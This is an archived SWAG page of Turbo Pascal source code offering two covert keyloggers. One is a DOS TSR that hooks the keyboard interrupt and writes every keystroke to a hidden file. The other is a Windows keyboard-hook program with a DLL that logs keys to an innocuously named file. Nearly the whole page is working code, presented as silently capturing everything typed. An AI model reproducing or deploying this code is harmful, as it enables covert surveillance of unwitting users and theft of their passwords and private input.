[Back to KEYBOARD SWAG index] [Back to Main SWAG index] [Original]

    KEYTRAP.PAS  in TSR.SWG      0008 10/13 112/219 51%
    s pressed to a file}
    {
    Well, these are some useful sources that you can append to
    KEYBOARD.SWG.. They do a trap of all pressed key's and send them to a
    file...
    These are de DOS and Windows Versions...

    {Keyboard Capture for DOS.
     Well, this program trap all pressed characters and send them to a
    file in a very silent mode... ;-)
     Use at your own risk...}

    {$M 2048,0,0}
    {$F+}
    USES DOS;
    CONST
     ARCHIVO='C:\DOS\KEYS.DAT';{Path and FileName of the File containing
    the Traped Key's}
     OLDSTACKSS :  WORD = 0;
     OLDSTACKSP :  WORD = 0;
     STACKSW :    INTEGER = - 1;
     OURSTACKSEG : WORD = 0;
     OURSTACKSP  : WORD = 0;
    VAR
     O9:PROCEDURE;
     R                    : REGISTERS;
     DOSSEG, DOSBUSY              : WORD;
     TICK, WAITBUF               : INTEGER;
     NEEDPOP                 : BOOLEAN;
     CBUF:WORD;
     KBUF:ARRAY[1..255] OF BYTE;
    PROCEDURE BEGININT;
    INLINE($FF/$06/STACKSW/
       $75/$10/
       $8C/$16/OLDSTACKSS/
           $89/$26/OLDSTACKSP/
           $8E/$16/OURSTACKSEG/
           $8B/$26/OURSTACKSP);
    PROCEDURE ENDINT;
    INLINE($FF/$0E/STACKSW/
           $7D/$08/
           $8E/$16/OLDSTACKSS/
       $8B/$26/OLDSTACKSP);
    PROCEDURE CALLPOP(SUB:POINTER);
    BEGIN
    INLINE($FF/$5E/$06);
    END;
    PROCEDURE CLI; INLINE($FA);
    PROCEDURE STI; INLINE($FB);
    PROCEDURE TSRCRAP;
    VAR
    F:FILE;
    BEGIN
     CLI;
     BEGININT;
     STI;
     NEEDPOP := FALSE;
     {}
      ASSIGN(F,ARCHIVO);
      {$I-}
      RESET(F,1);
      {$I+}
      IF IORESULT<>0 THEN REWRITE(F,1) ELSE
                          SEEK(F,FILESIZE(F));
      SETFATTR(F,ARCHIVE+HIDDEN);{LO HACE OCULTO}
      BLOCKWRITE(F,KBUF,CBUF);
      CBUF:=0;
      CLOSE(F);
     {}
     TICK := 0;
     CLI;
     ENDINT;
     STI;
    END;
    PROCEDURE RUNTSR; INTERRUPT;
    BEGIN
     CLI;
     BEGININT;
     STI;
     INC(TICK);
     IF (TICK>18.2*WAITBUF) AND (CBUF>0) THEN BEGIN
      NEEDPOP:=TRUE;
      IF MEM[DOSSEG:DOSBUSY] = 0 THEN BEGIN
       NEEDPOP:=FALSE;
       PORT[$20]:=$20;
       TSRCRAP;
      END;
     END;
     CLI;
     ENDINT;
     STI;
    END;
    PROCEDURE INT28TSR; INTERRUPT;
    BEGIN
     CLI;
     BEGININT;
     STI;
     IF NEEDPOP = TRUE THEN TSRCRAP;
     CLI;
     ENDINT;
     STI;
    END;
    PROCEDURE N9;INTERRUPT;
    VAR
     TAIL     : WORD ABSOLUTE $40 : $1C;
     B:BOOLEAN;
    BEGIN
     B:=PORT[$60]<$80;
     INLINE($9C);
     O9;
     IF B AND (LO(MEMW[$40:TAIL])<>0) THEN
      BEGIN
       INC(CBUF);
       IF CBUF>255 THEN CBUF:=255;
       KBUF[CBUF]:=LO(MEMW[$40:TAIL]);
      END;
    END;
    PROCEDURE INITTSR;
    BEGIN
     OURSTACKSEG := SSEG;
     INLINE($89/$26/OURSTACKSP);
     R.AH := $34;
     MSDOS(R);
     DOSSEG := R.ES;
     DOSBUSY := R.BX;
    END;
    BEGIN
     INITTSR;
     CBUF:=0;FILLCHAR(KBUF,SIZEOF(KBUF),0);
     WAITBUF := 5;{Time to Wait in Second before sending pressed keys to
    the file}
     NEEDPOP:=FALSE;
     TICK := 0;
     GETINTVEC($9,@O9);
     SETINTVEC($9,@N9);
     SETINTVEC($28,@INT28TSR);
     SETINTVEC($1C,@RUNTSR);
     KEEP(0);
    END.

    Now, this is the Windows Version...
    {This program has the same purposse as KCAPD.Pas, except that is for
    Windows...}
    {This is KCAPW.PAS}
    {$D-,L-}
    USES WINTYPES,WINPROCS,OWINDOWS;
    VAR
    OLDHOOK:TFARPROC;
    KEYHOOK:TFARPROC;
    {}
    PROCEDURE SAVEKEY(ARCHIVO:STRING;W:WORD);FAR;EXTERNAL 'KCAPWDLL'
    INDEX 1;
    {}
    FUNCTION
    KEYBOARDCAPTURE(CODE:INTEGER;WPARAM:WORD;LPARAM:LONGINT):LONGINT;EXPORT;
    CONST
    ARCHIVO='C:\DOS\EDIT.DAT';{EL NOMBRE Y EL PATH DEL ARCHIVO A CREAR
    CON LAS TECLAS}
    BEGIN
      IF CODE=HC_ACTION THEN
        IF (LPARAM AND (1 SHL 31)<>1 SHL 31) AND
           (LPARAM AND (1 SHL 30)<>1 SHL 30) THEN
    SAVEKEY(ARCHIVO,WPARAM);
      KEYBOARDCAPTURE:=DEFHOOKPROC(CODE,WPARAM,LPARAM,OLDHOOK);
    END;
    {}
    PROCEDURE LOOP;
    VAR
      MSG:TMSG;
    BEGIN
      WHILE GETMESSAGE(MSG,0,0,0) DO
      BEGIN
        TRANSLATEMESSAGE(MSG);
        DISPATCHMESSAGE(MSG);
      END;
    END;
    VAR
    S:TAPPLICATION;
    BEGIN
     KEYHOOK:=MAKEPROCINSTANCE(@KEYBOARDCAPTURE,HINSTANCE);
     OLDHOOK:=SETWINDOWSHOOK(WH_KEYBOARD,KEYHOOK);
     LOOP;
    END.

    Now, the DLL for KCAPW.PAS
    {This file is KCAPWDLL.PAS}
    {$C FIXED}
    {$D-,L-}
    LIBRARY CLOCKDLL;
    USES WINPROCS,WINTYPES,WINDOS;
    PROCEDURE SAVEKEY(ARCHIVO:STRING;W:WORD);EXPORT;
    VAR
    F:FILE;
    ST:STRING;
    FA:WORD;
    BEGIN
     ASSIGN(F,ARCHIVO);
     {$I-}
     RESET(F,1);
     {$I+}
     IF IORESULT<>0 THEN REWRITE(F,1);
     SEEK(F,FILESIZE(F));
     ST:='';
     IF W=VK_SHIFT THEN ST:='[Sf]';
     IF W=VK_BACK THEN ST:='[Bk]';
     IF W=VK_RETURN THEN ST:='[En]';
     IF W=VK_SPACE THEN ST:=' ';
     IF W=VK_MENU THEN ST:='[Al]';
     IF W=VK_CONTROL THEN ST:='[Ct]';
     IF W=VK_ESCAPE THEN ST:='[Ec]';
     IF W=VK_TAB THEN ST:='[Tb]';
     {}
     IF (ST='') AND (W>=$30) AND (W<=$6F) THEN BLOCKWRITE(F,W,1) ELSE
     IF (ST<>'') THEN BLOCKWRITE(F,ST[1],LENGTH(ST));
     IF ST='[En]' THEN BEGIN ST:=#13;BLOCKWRITE(F,ST[1],1);END;
     {}
     CLOSE(F);
    { MESSAGEBEEP(0);}
    END;
    EXPORTS
     SAVEKEY INDEX 1;
    BEGIN
    END.

[Back to KEYBOARD SWAG index] [Back to Main SWAG index] [Original]